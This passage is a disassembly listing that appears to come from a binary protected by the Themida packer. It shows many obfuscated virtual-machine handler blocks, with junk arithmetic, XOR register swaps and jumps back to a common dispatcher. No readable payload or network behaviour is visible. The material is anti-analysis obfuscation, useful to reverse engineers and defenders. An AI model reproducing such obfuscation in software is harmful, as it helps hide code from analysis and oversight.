; ---------------------------------------------------------------------------
loc_589879: ; CODE XREF: sub_584787+60FDj
mov [esp+42h+var_42], esi
push dword ptr [esp+4]
pop esi
pop [esp+42h+var_42]
mov esp, [esp+0]
movsx ecx, ax
push 72E8h
mov [esp+42h+var_42], ecx
jmp loc_584473
; ---------------------------------------------------------------------------
loc_589897: ; CODE XREF: sub_584787+A385j
add esp, 4
jmp loc_5865DA
; ---------------------------------------------------------------------------
loc_5898A2: ; CODE XREF: sub_584787+1F9Cj
pop esi
pop [esp-4+arg_0]
jmp loc_58E0E1
; ---------------------------------------------------------------------------
loc_5898AB: ; CODE XREF: sub_584787+6CB3j
mov eax, 3A13495Bh
xor ebx, eax
mov eax, [esp-8+arg_4]
add esp, 4
add ebp, ebx
push [esp-0Ch+arg_8]
pop ebx
add esp, 4
xchg ebp, [esp+0]
pop esp
shl word ptr [esp-14h+arg_E+2], cl
pushf
jmp loc_584974
; ---------------------------------------------------------------------------
loc_5898D2: ; CODE XREF: sub_584787+3262j
add esi, 4
jmp loc_586937
; ---------------------------------------------------------------------------
loc_5898DD: ; CODE XREF: sub_584787+3B4Dj
add al, dl
sub al, 5Eh
jmp loc_586688
; ---------------------------------------------------------------------------
loc_5898E6: ; CODE XREF: sub_584787+7142j
xor edi, [esp-1Ch+arg_18]
xor [esp-1Ch+arg_18], edi
xor edi, [esp-1Ch+arg_18]
pop esp
mov [esp-20h+arg_1C], ebp
push 76Fh
push esp
pop [esp-18h+arg_12+2]
add [esp-1Ch+arg_18], 4
pop ebp
add ebp, 4
add ebp, 4
xor ebp, [esp-20h+arg_1C]
xor [esp-20h+arg_1C], ebp
xor ebp, [esp-20h+arg_1C]
pop esp
add esp, 4
push [esp-28h+arg_24]
mov eax, [esp-24h+arg_20]
push 68DDh
mov [esp-20h+arg_1C], ebx
push 0E0Ah
jmp loc_58FA84
; ---------------------------------------------------------------------------
loc_589935: ; CODE XREF: sub_584787+845Bj
or edi, 0E71BFDh
add edi, 280133EDh
jmp loc_586576
; ---------------------------------------------------------------------------
loc_589946: ; DATA XREF: Themida_:005843FCo
mov ax, word ptr [esp-1Ch+arg_18]
push edi
sub esp, 4
push esp
pop dword ptr [esp]
sub esp, 4
jmp loc_58B731
; ---------------------------------------------------------------------------
loc_58995D: ; CODE XREF: sub_584787+48FCj
add edx, 2
push edx
push dword ptr [esp+4]
mov edx, [esp+8+var_8]
add esp, 4
pop [esp+4+var_4]
mov esp, [esp+0]
div cx
push 32DAh
mov [esp+4+var_4], edx
push eax
mov eax, esp
push ecx
mov ecx, 60BD2311h
shr ecx, 8
shl ecx, 4
inc ecx
sub ecx, 60BD22Dh
add eax, ecx
pop ecx
sub eax, 4
jmp loc_58A6EE
; ---------------------------------------------------------------------------
loc_58999D: ; DATA XREF: Themida_:005843F0o
mov cx, word ptr [esp+8+var_8]
jmp loc_58F801
; ---------------------------------------------------------------------------
loc_5899A6: ; CODE XREF: sub_584787+7660j
sub esp, 4
jmp loc_58DED5
; ---------------------------------------------------------------------------
loc_5899B1: ; CODE XREF: sub_584787+5D7j
mov ecx, 3E442E98h
push ecx
push esi
push [esp+1Ch+var_18]
pop esi
pop [esp+1Ch+var_1C]
jmp loc_5870E6
; ---------------------------------------------------------------------------
loc_5899C5: ; CODE XREF: sub_584787+626Dj
xor [esp+18h+var_18], eax
xor eax, [esp+18h+var_18]
mov esp, [esp+18h+var_18]
mov [esp+18h+var_18], ebp
mov ebp, 80000h
and eax, ebp
jmp loc_589367
; ---------------------------------------------------------------------------
loc_5899DD: ; CODE XREF: sub_584787+B20Fj
mov ebp, esp
jmp loc_58AD29
; ---------------------------------------------------------------------------
loc_5899E4: ; CODE XREF: sub_584787+959Dj
add esi, 4
xchg esi, [esp+18h+var_18]
mov esp, [esp+18h+var_18]
loc_5899F0: ; CODE XREF: sub_584787+43C4j
push eax
mov eax, esp
push edi
mov edi, 7020549h
sub edi, 7020545h
add eax, edi
pop edi
sub eax, 4
xor eax, [esp+1Ch+var_1C]
xor [esp+1Ch+var_1C], eax
xor eax, [esp+1Ch+var_1C]
pop esp
mov [esp+18h+var_18], eax
add [esp+18h+var_18], 50DF29BBh
mov eax, [esp+18h+var_18]
add esp, 4
push ecx
push ebp
push 19E31A5Ch
jmp loc_58D815
; ---------------------------------------------------------------------------
loc_589A2D: ; CODE XREF: sub_584787+459j
add ecx, 2DC76240h
jmp loc_58F4E7
; ---------------------------------------------------------------------------
loc_589A38: ; CODE XREF: sub_584787+30A7j
xchg ebx, [esp-8+arg_4]
pop esp
xor [esp-0Ch+arg_8], edx
xor edx, [esp-0Ch+arg_8]
xor [esp-0Ch+arg_8], edx
mov eax, [esp-0Ch+arg_8]
jmp loc_58BCF1
; ---------------------------------------------------------------------------
loc_589A4D: ; CODE XREF: sub_584787+97C9j
add edi, 4
xchg edi, [esp-0Ch+arg_8]
pop esp
jmp loc_58FAE9
; ---------------------------------------------------------------------------
loc_589A5C: ; CODE XREF: sub_584787+AFBCj
add ebx, 4
jmp loc_58B977
; ---------------------------------------------------------------------------
loc_589A67: ; CODE XREF: sub_584787-1E4j
mov edi, [esp+0]
add esp, 4
add [edi+24h], edx
push [esp-4+arg_0]
mov edx, [esp+0]
jmp loc_588B71
; ---------------------------------------------------------------------------
loc_589A7B: ; CODE XREF: sub_584787+4D83j
push 3DD4h
mov [esp+0Ch+var_C], ebx
mov ebx, esp
push esi
push edx
push esi
jmp loc_5876F3
; ---------------------------------------------------------------------------
loc_589A8D: ; CODE XREF: sub_584787+737Dj
pop edx
add ecx, 2
xchg ecx, [esp+14h+var_14]
jmp loc_58D18A
; ---------------------------------------------------------------------------
loc_589A9C: ; CODE XREF: sub_584787+490j
neg esi
shl esi, 4
push esi
not dword ptr [esp+0]
pop esi
shl esi, 1
not esi
jmp loc_585334
; ---------------------------------------------------------------------------
loc_589AAF: ; CODE XREF: sub_584787+82CAj
shr edx, 5
shr edx, 1
dec edx
xor edx, 2C5C5DFAh
push edi
mov edi, 2C3213ACh
sub edi, 18250481h
jmp loc_58A489
; ---------------------------------------------------------------------------
loc_589ACC: ; CODE XREF: sub_584787+8A5Dj
pop esp
jmp loc_584473
; ---------------------------------------------------------------------------
loc_589AD2: ; CODE XREF: sub_584787+495Dj
pop edi
shl ebp, 2
sub ebp, 789D77C8h
add esi, ebp
jmp loc_5856CB
; ---------------------------------------------------------------------------
loc_589AE3: ; CODE XREF: sub_584787+7488j
push edx
push [esp+14h+var_10]
jmp loc_585509
; ---------------------------------------------------------------------------
loc_589AED: ; CODE XREF: sub_584787+2106j
add esp, 4
push ecx
mov ecx, esp
push esi
jmp loc_58F1A2
; ---------------------------------------------------------------------------
loc_589AFC: ; CODE XREF: sub_584787+6B24j
mov edx, 4
add ebx, edx
push dword ptr [esp]
pop edx
push edi
mov edi, esp
add edi, 4
add edi, 4
push edi
push [esp+50h+var_4E+2]
pop edi
pop dword ptr [esp]
jmp loc_589138
; ---------------------------------------------------------------------------
loc_589B24: ; CODE XREF: sub_584787+6570j
xor cl, dh
jmp loc_587000
; ---------------------------------------------------------------------------
loc_589B2B: ; CODE XREF: sub_584787+B756j
pop ecx
push 704Ch
mov [esp+4Ch+var_4E+2], edi
push 764Dh
mov [esp+0], edx
mov edx, 48BE500Dh
push ebp
mov ebp, 56E5CE5h
sub ebp, 315D1B47h
and ebp, 0C690874h
jmp loc_58CEAF
; ---------------------------------------------------------------------------
loc_589B58: ; CODE XREF: sub_584787+2752j
xchg ebp, [esp+0Eh+var_10+2]
pop esp
add [esp+0Ah+var_8+2], eax
add [esp+0Ah+var_8+2], 3E5B641Bh
jmp loc_589859
; ---------------------------------------------------------------------------
loc_589B6D: ; CODE XREF: sub_584787+8226j
and ecx, 2BC320CEh
sub ecx, 95B4DA55h
jmp loc_58B870
; ---------------------------------------------------------------------------
loc_589B7E: ; CODE XREF: sub_584787+42C5j
xchg ebp, [esp+2Eh+var_30+2]
pop esp
movsx cx, al
jmp loc_588AAE
; ---------------------------------------------------------------------------
loc_589B8B: ; CODE XREF: sub_584787+5825j
mov [esp+2Ah+var_2C+2], eax
push edi
mov edi, 631653F1h
xor edi, 49084C18h
sub edi, 1BDE74DFh
neg edi
add edi, 792F726Ah
jmp loc_584EFF
; ---------------------------------------------------------------------------
loc_589BAD: ; CODE XREF: sub_584787+9F4Aj
add ebp, 7C171F8Fh
shr ebp, 4
jmp loc_588568
; ---------------------------------------------------------------------------
loc_589BBB: ; CODE XREF: sub_584787+78C4j
mov [esp+2Eh+var_30+2], eax
jmp loc_58A8BB
; ---------------------------------------------------------------------------
loc_589BC3: ; CODE XREF: sub_584787+A0B6j
pop edi
add ecx, 4
xor ecx, [esp+2Ah+var_2C+2]
jmp loc_58F3C4
; ---------------------------------------------------------------------------
loc_589BCF: ; CODE XREF: sub_584787+CC3j
xor edi, 3E303A8Ch
jmp loc_58C811
; ---------------------------------------------------------------------------
loc_589BDA: ; CODE XREF: sub_584787+B793j
add eax, 4
xchg eax, [esp+14h+var_14]
jmp loc_58D3FA
; ---------------------------------------------------------------------------
loc_589BE7: ; CODE XREF: sub_584787+6F38j
pop ecx
push ecx
push eax
jmp loc_58E027
; ---------------------------------------------------------------------------
loc_589BEF: ; DATA XREF: Themida_:005842A4o
push dword ptr [edi+1Ch]
popf
pop ax
sbb byte ptr [esp+16h+var_18+2], al
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_589BFE: ; CODE XREF: sub_584787+7F73j
mov [esp+1Ah+var_1C+2], edi
push eax
mov eax, 3B890651h
jmp loc_58A480
; ---------------------------------------------------------------------------
loc_589C0C: ; CODE XREF: sub_584787+7802j
sub [esp+1Eh+var_20+2], 7A8D516Bh
jmp loc_58A110
; ---------------------------------------------------------------------------
loc_589C18: ; CODE XREF: sub_584787+3C83j
add edx, 4
jmp loc_58FAE1
; ---------------------------------------------------------------------------
loc_589C23: ; CODE XREF: sub_584787+7EF2j
pop esp
sub eax, 72457FADh
jmp loc_5870A8
; ---------------------------------------------------------------------------
loc_589C2E: ; CODE XREF: sub_584787+5AAj
add dh, 0C0h
add dh, 0AAh
pop ebx
add al, dh
mov dx, word ptr [esp+4+var_4]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 2
xchg ebx, [esp+8+var_8]
pop esp
sub bl, 7
push eax
mov al, 0E7h
jmp loc_588D11
; ---------------------------------------------------------------------------
loc_589C56: ; CODE XREF: sub_584787+3257j
push ebx
mov ebx, 2
add esi, ebx
pop ebx
xor esi, [esp+10h+var_10]
jmp loc_590047
; ---------------------------------------------------------------------------
loc_589C67: ; CODE XREF: sub_584787+2632j
dec cl
sub cl, 7Dh
sub al, cl
pop ecx
push 21EBh
jmp loc_589240
; ---------------------------------------------------------------------------
loc_589C79: ; CODE XREF: sub_584787+916Ej
mov esi, edi
pop edi
xor [esp+28h+var_26+2], esi
mov esi, [esp+0]
push esi
push esp
mov esi, [esp+30h+var_30]
add esp, 4
add esi, 4
add esi, 4
jmp loc_5893FF
; ---------------------------------------------------------------------------
loc_589C99: ; CODE XREF: sub_584787+804Dj
sub esp, 4
jmp loc_5895C0
; ---------------------------------------------------------------------------
loc_589CA4: ; CODE XREF: sub_584787+82D4j
add esp, 4
push ebp
mov ebp, 6D292F47h
shl ebp, 1
shl ebp, 4
xor ebp, 0B356720h
not ebp
jmp loc_5880DD
; ---------------------------------------------------------------------------
loc_589CBF: ; CODE XREF: sub_58FB5B+13j
mov [esp+30h+var_30], esi
mov esi, 437F344Ah
xor ebx, esi
mov esi, [esp+30h+var_30]
jmp loc_587075
; ---------------------------------------------------------------------------
loc_589CD1: ; CODE XREF: sub_584787+30E1j
sub ebp, 66713B30h
shl ebp, 2
xor ebp, 0E79A1593h
mov ecx, ebp
push [esp+38h+var_38]
pop ebp
add esp, 4
and ecx, 276A7B5Ch
jmp loc_590308
; ---------------------------------------------------------------------------
loc_589CF7: ; CODE XREF: sub_584787+4C9Bj
add eax, 2BEB09EFh
xor eax, 25F2AD6Fh
xor ebp, eax
mov eax, [esp+14h+var_14]
add esp, 4
sub esi, 0B923740h
add esi, ebp
jmp loc_58BCA1
; ---------------------------------------------------------------------------
loc_589D19: ; CODE XREF: sub_584787+9F09j
xor esi, ebx
pop ebx
push edx
mov edx, 1DB53B69h
add esi, edx
pop edx
add ebp, esi
jmp loc_5890DC
; ---------------------------------------------------------------------------
loc_589D2C: ; CODE XREF: sub_584787+BCACj
add esp, 4
push edx
mov edx, esp
jmp loc_58CF55
; ---------------------------------------------------------------------------
loc_589D37: ; CODE XREF: sub_584787+8CBCj
push esp
jmp loc_585A1C
; ---------------------------------------------------------------------------
loc_589D3D: ; CODE XREF: sub_584787+893Aj
jmp loc_584473
; ---------------------------------------------------------------------------
loc_589D42: ; CODE XREF: sub_584787+12BFj
mov [esp-8+arg_4], esp
add [esp-8+arg_4], 4
pop [esp-8+arg_4]
push ecx
mov ecx, 4
add [esp-8+arg_8], ecx
pop ecx
mov ebx, [esp-0Ch+arg_8]
add esp, 4
push eax
push ebx
push 7F404408h
pop ebx
xor ebx, 3F601DD2h
mov eax, ebx
pop ebx
shr eax, 8
jmp loc_58BD85
; ---------------------------------------------------------------------------
loc_589D79: ; CODE XREF: sub_584787+3290j
mov [esp+0], ecx
jmp loc_5904D6
; ---------------------------------------------------------------------------
loc_589D81: ; CODE XREF: sub_584787+5B2Fj
mov eax, [esp]
push edx
jmp loc_589349
; ---------------------------------------------------------------------------
loc_589D8A: ; CODE XREF: sub_584787+AB33j
add al, 53h
jmp loc_58FCE7
; ---------------------------------------------------------------------------
loc_589D91: ; CODE XREF: sub_584787+744j
mov esi, 1E670CD5h
jmp loc_587A28
; ---------------------------------------------------------------------------
loc_589D9B: ; CODE XREF: sub_584787+24A7j
add esp, 4
add ebx, 4
push ebp
mov ebp, 4
push esi
mov esi, 675B7C64h
jmp loc_58B00B
; ---------------------------------------------------------------------------
loc_589DB5: ; CODE XREF: sub_584787+10j
mov edx, [esp+16h+var_18+2]
jmp loc_5858EE
; ---------------------------------------------------------------------------
loc_589DBD: ; CODE XREF: sub_584787+AB6Dj
pop eax
xor al, ch
push [esp+12h+var_14+2]
pop ecx
jmp loc_58A317
; ---------------------------------------------------------------------------
loc_589DC9: ; CODE XREF: sub_584787+72B2j
mov ebx, [esp+12h+var_14+2]
add esp, 4
jmp loc_585752
; ---------------------------------------------------------------------------
loc_589DD4: ; CODE XREF: sub_58F8C1-43Cj
mov edx, 4
add ecx, edx
jmp loc_58FCFA
; ---------------------------------------------------------------------------
loc_589DE0: ; CODE XREF: sub_58F4F5+10j
not ecx
jmp loc_58C930
; ---------------------------------------------------------------------------
loc_589DE7: ; CODE XREF: sub_584787+3E60j
add ecx, 7EE0EF8h
mov edx, ecx
jmp loc_586AE6
; ---------------------------------------------------------------------------
loc_589DF4: ; CODE XREF: sub_584787+B397j
push eax
neg byte ptr [esp+26h+var_26]
pop eax
xor al, 0Fh
jmp loc_58EFB5
; ---------------------------------------------------------------------------
loc_589E00: ; CODE XREF: sub_584787+4E3Cj
push [esp+arg_0]
pop edi
pop dword ptr [esp+0]
mov esp, [esp-4+arg_0]
add esp, 4
div ecx
push 3ECCh
mov [esp-4+arg_0], edx
push eax
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_589E22: ; CODE XREF: sub_584787+2E03j
mov edi, [esp+1Ah+var_1C+2]
add esp, 4
sub esp, 4
mov [esp+1Ah+var_1C+2], edx
jmp loc_58FCAE
; ---------------------------------------------------------------------------
loc_589E33: ; CODE XREF: sub_584787+7E6Cj
sub esp, 4
mov [esp+1Eh+var_20+2], ecx
mov ecx, 1
push eax
sub esp, 4
mov [esp+26h+var_26], eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp+26h+var_26]
pop esp
mov [esp+0], ecx
mov ecx, 34600664h
mov eax, 34600688h
sub eax, ecx
pop ecx
sub eax, 6C3542B4h
add eax, edi
push 6026h
mov [esp+0], esi
mov esi, 5B377309h
sub esi, 1EC65B0Eh
sub esi, 0D03BD547h
add eax, esi
pop esi
add [eax], ecx
jmp loc_5882B8
; ---------------------------------------------------------------------------
loc_589E92: ; CODE XREF: Themida_:005906D8j
push edx
jmp loc_58E354
; ---------------------------------------------------------------------------
loc_589E98: ; CODE XREF: sub_584787+3E3Bj
add ebp, edx
mov edx, [esp+1Ah+var_1C+2]
jmp loc_58BDEC
; ---------------------------------------------------------------------------
loc_589EA2: ; CODE XREF: sub_584787+4A87j
inc bh
sub bh, 0DBh
add al, bh
pop ebx
push [esp+20h+var_20]
pop edx
add esp, 4
push eax
mov ah, 6
sub bl, 0B5h
add bl, ah
jmp loc_58F148
; ---------------------------------------------------------------------------
loc_589EBE: ; CODE XREF: sub_584787+211Ej
xor eax, 661A0FB3h
dec eax
sub eax, 0F2A349B7h
add esi, eax
pop eax
pop ecx
add ebx, esi
jmp loc_58AF27
; ---------------------------------------------------------------------------
loc_589ED4: ; CODE XREF: sub_584787+1C13j
push esp
mov ecx, [esp+0]
add esp, 4
push esi
push 28346369h
pop esi
shl esi, 3
jmp loc_58959B
; ---------------------------------------------------------------------------
loc_589EED: ; CODE XREF: sub_584787+773j
mov ebx, ebp
pop ebp
jmp loc_5858B6
; ---------------------------------------------------------------------------
loc_589EF5: ; CODE XREF: sub_584787+BA60j
xor esi, [esp+0Ch+var_C]
xor [esp+0Ch+var_C], esi
xor esi, [esp+0Ch+var_C]
pop esp
push dword ptr [edi+1Ch]
push [esp+0Ch+var_C]
pop ecx
sub esp, 4
mov [esp+10h+var_10], ebx
jmp loc_59014B
; ---------------------------------------------------------------------------
loc_589F14: ; CODE XREF: sub_584787+828Ej
mov esi, 0E47F6C64h
add ecx, esi
pop esi
mov ebp, ecx
pop ecx
add edi, ebp
pop ebp
add edi, 2
xor edi, [esp+4+var_4]
xor [esp+4+var_4], edi
jmp loc_58A9AB
; ---------------------------------------------------------------------------
loc_589F33: ; CODE XREF: sub_584787+26CAj
add eax, edx
jmp loc_58AE9F
; ---------------------------------------------------------------------------
loc_589F3A: ; CODE XREF: sub_584787+27A5j
inc bl
dec bl
neg bl
shl bl, 1
xor bl, 0D1h
add al, bl
pop ebx
jmp loc_58C407
; ---------------------------------------------------------------------------
loc_589F4D: ; CODE XREF: sub_584787+A79Ej
pop ecx
mov ebx, esi
pop esi
add ebx, 0ECF3B5B7h
add edx, ebx
pop ebx
push 7765h
mov [esp+6+var_8+2], ecx
mov ecx, 4
add edx, ecx
pop ecx
xchg edx, [esp+2+var_4+2]
jmp loc_58D499
; ---------------------------------------------------------------------------
loc_589F72: ; CODE XREF: sub_584787+AEEj
neg ebp
not ebp
neg ebp
jmp loc_585828
; ---------------------------------------------------------------------------
loc_589F7D: ; CODE XREF: sub_584787+ADAFj
pop ebp
pop [esp+42h+var_42]
pop esp
push 6D6Ch
mov [esp+0], eax
jmp loc_584473
; ---------------------------------------------------------------------------
loc_589F8F: ; CODE XREF: sub_584787+318Dj
pop eax
sub eax, 2C861353h
push [esp+44h+var_46+2]
mov ebp, [esp+0]
add esp, 4
add esp, 4
shl eax, cl
push ebp
push 6B39h
jmp loc_589B8B
; ---------------------------------------------------------------------------
loc_589FB1: ; CODE XREF: sub_584787+B513j
sub edi, edx
sub edi, 1BF67C3Ch
push dword ptr [esp+0]
pop edx
jmp loc_584554
; ---------------------------------------------------------------------------
loc_589FC2: ; CODE XREF: sub_584787+77C7j
sub esp, 4
mov [esp+4Ch+var_4E+2], ebx
push esp
pop ebx
add ebx, 4
push edx
mov edx, 4
add ebx, edx
pop edx
xchg ebx, [esp+4Ch+var_4E+2]
jmp loc_58BC41
; ---------------------------------------------------------------------------
loc_589FE1: ; CODE XREF: sub_584787+6C5Ej
xor dl, bl
jmp loc_58B0BB
; ---------------------------------------------------------------------------
loc_589FE8: ; CODE XREF: sub_584787-276j
xor edi, [esp+0]
pop esp
and esi, edi
mov edi, [esp-4+arg_0]
add esp, 4
not esi
sub esi, 0B62EB4B2h
xor eax, esi
pop esi
push edi
push ebx
jmp loc_58C6FF
; ---------------------------------------------------------------------------
loc_58A006: ; CODE XREF: sub_584787+9604j
pop eax
jmp loc_58D3B7
; ---------------------------------------------------------------------------
loc_58A00C: ; CODE XREF: sub_584787+239Ej
mov eax, 3FCB4CADh
neg eax
jmp loc_5852A0
; ---------------------------------------------------------------------------
loc_58A018: ; CODE XREF: sub_584787+6ECDj
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58A01D: ; CODE XREF: sub_584787+3FAAj
add ebx, 4
xchg ebx, [esp+10h+var_10]
mov esp, [esp+10h+var_10]
inc [esp+10h+var_10]
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58A032: ; CODE XREF: sub_584787+8E01j
sub edx, edi
push eax
mov eax, 461F3CBCh
sub edx, eax
pop eax
pop edi
push ecx
mov ecx, 5BFF2C33h
inc ecx
jmp loc_584A6E
; ---------------------------------------------------------------------------
loc_58A04A: ; DATA XREF: Themida_:00584410o
push dword ptr [edx]
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58A051: ; CODE XREF: sub_584787+3409j
push edx
mov edx, esp
jmp loc_58FC82
; ---------------------------------------------------------------------------
loc_58A059: ; CODE XREF: sub_584787+B318j
pop ebp
jmp loc_5873E5
; ---------------------------------------------------------------------------
loc_58A05F: ; CODE XREF: sub_584787+5F05j
pop esp
mov [esp+16h+var_18+2], ebx
mov bh, al
push eax
push edi
jmp loc_58A789
; ---------------------------------------------------------------------------
loc_58A06C: ; CODE XREF: sub_584787+86B5j
sub esi, 4
xchg esi, [esp+1Eh+var_20+2]
mov esp, [esp+1Eh+var_20+2]
mov [esp+1Eh+var_20+2], ecx
jmp loc_58F8DB
; ---------------------------------------------------------------------------
loc_58A080: ; CODE XREF: sub_584787+2D01j
pop eax
add esp, 4
push ebx
mov bh, 66h
push dx
jmp loc_58F250
; ---------------------------------------------------------------------------
db 81h, 0C3h, 4
dd 83000000h, 1C8704EBh, 24248B24h, 68241489h, 1461h, 62C68h
dd 0B7A8E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_58A0B2: ; CODE XREF: sub_584787+1B2Bj
xor eax, edi
jmp loc_58A17D
; ---------------------------------------------------------------------------
loc_58A0B9: ; CODE XREF: sub_584787+4F52j
xor esi, [esp+4Eh+var_4E]
xor [esp+4Eh+var_4E], esi
xor esi, [esp+4Eh+var_4E]
mov esp, [esp+4Eh+var_4E]
mov eax, [esp+4Eh+var_4E]
push 26A5h
mov [esp+52h+var_54+2], edx
push esp
pop edx
push esi
mov esi, 4
push 6D54h
mov [esp+5Ah+var_5C+2], ebp
mov ebp, 16C865AAh
sub edx, ebp
jmp loc_58CBF6
; ---------------------------------------------------------------------------
loc_58A0EC: ; CODE XREF: sub_584787+22F5j
mov ebx, [esp+26h+var_26]
push esi
jmp loc_58D7F0
; ---------------------------------------------------------------------------
loc_58A0F5: ; CODE XREF: sub_584787+3896j
push 0C7Ah
mov [esp+0], ecx
mov cl, 0A1h
push eax
jmp loc_58CAB1
; ---------------------------------------------------------------------------
loc_58A105: ; CODE XREF: sub_584787+A58Aj
push edi
mov edi, 4
jmp loc_5900E1
; ---------------------------------------------------------------------------
loc_58A110: ; CODE XREF: sub_584787+548Cj
pop dword ptr [eax]
add dword ptr [eax], 7A8D516Bh
push [esp+1Ah+var_1C+2]
jmp loc_58ABD7
; ---------------------------------------------------------------------------
loc_58A120: ; CODE XREF: sub_584787+8992j
mov edx, esp
add edx, 4
sub esp, 4
mov [esp+0], esi
mov esi, 4
add edx, esi
pop esi
push edx
push [esp+22h+var_20+2]
pop edx
pop dword ptr [esp+0]
jmp loc_58E671
; ---------------------------------------------------------------------------
loc_58A147: ; CODE XREF: sub_584787+A829j
push ebp
mov ebp, esp
jmp sub_59075E
; ---------------------------------------------------------------------------
loc_58A14F: ; DATA XREF: Themida_:00584218o
mov ax, [esp+0]
jmp loc_58F6C1
; ---------------------------------------------------------------------------
loc_58A158: ; CODE XREF: sub_584787+2B39j
mov bh, 6
sub bh, 1
not bh
push small 3732h
mov word ptr [esp+4+var_4], ax
mov al, 0C0h
or bh, al
mov ax, word ptr [esp+4+var_4]
push edi
mov edi, esp
add edi, 4
jmp loc_584A1B
; ---------------------------------------------------------------------------
loc_58A17D: ; CODE XREF: sub_584787+592Dj
xor edi, eax
push eax
not [esp+46h+var_46]
pop eax
xchg eax, edi
sub esp, 4
mov [esp+46h+var_46], edi
push [esp+46h+var_42]
pop edi
pop [esp+46h+var_46]
jmp loc_588F72
; ---------------------------------------------------------------------------
loc_58A198: ; CODE XREF: sub_584787+2203j
mov ecx, ebx
jmp loc_589744
; ---------------------------------------------------------------------------
loc_58A19F: ; CODE XREF: sub_5845B8+13Aj
add [esp+1Eh+var_20+2], 4
pop ebx
jmp loc_584C11
; ---------------------------------------------------------------------------
loc_58A1AC: ; DATA XREF: Themida_:005843D0o
lodsd
push edi
mov edi, 320F1C09h
jmp loc_58C648
; ---------------------------------------------------------------------------
loc_58A1B8: ; CODE XREF: sub_584787+4F0Aj
sub edx, 626C253Eh
jmp loc_58E43D
; ---------------------------------------------------------------------------
loc_58A1C3: ; CODE XREF: sub_584787+1011j
mov [esp+10h+var_10], edi
push edx
mov edx, 333815EEh
mov edi, 2FE21710h
xor edi, edx
mov edx, [esp+14h+var_14]
sub esp, 4
mov [esp+18h+var_18], edi
push esp
mov edi, [esp+1Ch+var_1C]
jmp loc_587288
; ---------------------------------------------------------------------------
loc_58A1E5: ; CODE XREF: sub_584787+66B3j
add edi, 38604090h
jmp loc_59045E
; ---------------------------------------------------------------------------
loc_58A1F0: ; CODE XREF: sub_584787+729j
mov ecx, esp
add ecx, 4
jmp loc_58DCF8
; ---------------------------------------------------------------------------
loc_58A1FD: ; CODE XREF: sub_584787+B3CFj
pop ebp
push ecx
mov edi, [esp+3Ch+var_3C]
add esp, 4
pop ecx
push eax
mov eax, 41540643h
mov ecx, eax
pop eax
add ecx, edi
mov edi, [esp+34h+var_34]
jmp loc_58AEFF
; ---------------------------------------------------------------------------
loc_58A21C: ; CODE XREF: sub_584787+AF2Aj
add ah, 70h
shl ah, 3
add ah, 52h
or cl, ah
pop eax
and cl, 0C8h
push dx
mov dh, 46h
sub cl, dh
pop dx
jmp loc_588687
; ---------------------------------------------------------------------------
loc_58A238: ; CODE XREF: sub_584787+63D3j
pop edi
jmp loc_58FFD9
; ---------------------------------------------------------------------------
loc_58A23E: ; CODE XREF: sub_584787+AA90j
push [esp+2Ch+var_2C]
mov eax, [esp+30h+var_30]
add esp, 4
add esp, 4
push edx
mov edx, esp
jmp loc_58BA3E
; ---------------------------------------------------------------------------
loc_58A255: ; CODE XREF: sub_584787+10A7j
sub ebp, 0CFDAF15Ah
push ebp
pop ebx
pop ebp
shl ebx, 5
neg ebx
neg ebx
push 75E6h
mov [esp+1Ch+var_1C], ebx
not [esp+1Ch+var_1C]
pop ebx
shr ebx, 5
sub ebx, 0F7A78D81h
xor ebp, ebx
pop ebx
push ebp
jmp loc_58790D
; ---------------------------------------------------------------------------
loc_58A283: ; CODE XREF: sub_584787+6AA6j
mov [esp+18h+var_18], esi
push 741D4561h
pop esi
xchg ebx, esi
dec ebx
xchg ebx, esi
xor esi, 3B68433Dh
mov ecx, esi
pop esi
jmp loc_585C96
; ---------------------------------------------------------------------------
loc_58A29F: ; CODE XREF: sub_584787+4469j
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58A2A4: ; CODE XREF: sub_584787+4A94j
xchg esi, [esp-14h+arg_E+2]
pop esp
bts word ptr [esp-18h+arg_12+2], ax
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58A2B3: ; DATA XREF: Themida_:00584330o
push [esp-14h+arg_E+2]
jmp loc_589D81
; ---------------------------------------------------------------------------
loc_58A2BB: ; CODE XREF: sub_584787+3689j
pop esi
jmp loc_58C060
; ---------------------------------------------------------------------------
loc_58A2C1: ; DATA XREF: Themida_:005841E0o
lodsd
push edi
sub esp, 4
mov [esp+0], ecx
mov ecx, 66077182h
push ecx
pop edi
push dword ptr [esp+0]
pop ecx
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+2Ch+var_2C]
pop esp
push ecx
mov ecx, 1FE57EDDh
sub ecx, 1FE57EDCh
sub edi, ecx
pop ecx
shr edi, 8
shl edi, 8
add edi, 0DB73D906h
add esi, 247155CAh
sub esi, edi
jmp loc_58D7DC
; ---------------------------------------------------------------------------
loc_58A30C: ; CODE XREF: sub_584787+91Fj
push edx
mov dl, 77h
add dl, 0E5h
jmp loc_586667
; ---------------------------------------------------------------------------
loc_58A317: ; CODE XREF: sub_584787+563Dj
sub esp, 4
mov [esp+16h+var_18+2], esi
push esp
pop esi
push edx
mov edx, 4C933311h
inc edx
dec edx
sub edx, 40EF74FBh
jmp loc_58C9D5
; ---------------------------------------------------------------------------
loc_58A335: ; DATA XREF: Themida_:00584278o
push eax
jmp loc_587554
; ---------------------------------------------------------------------------
loc_58A33B: ; CODE XREF: sub_584787+9C4j
pop edi
push edi
xchg esi, [esp+30h+var_30]
not esi
xchg esi, [esp+30h+var_30]
jmp loc_588993
; ---------------------------------------------------------------------------
loc_58A34A: ; CODE XREF: sub_584787+9089j
push 2B6Bh
jmp loc_58EE11
; ---------------------------------------------------------------------------
loc_58A354: ; CODE XREF: sub_584787+AD86j
add esp, 4
xor ebx, [esp+30h+var_30]
xor [esp+30h+var_30], ebx
xor ebx, [esp+30h+var_30]
pop esp
mov ax, word ptr [esp+2Ch+var_2C]
sub esp, 4
mov [esp+30h+var_30], edx
push edx
mov edx, esp
add edx, 4
jmp loc_5881AD
; ---------------------------------------------------------------------------
loc_58A37C: ; CODE XREF: sub_584787+8001j
xor [esp+34h+var_34], ebx
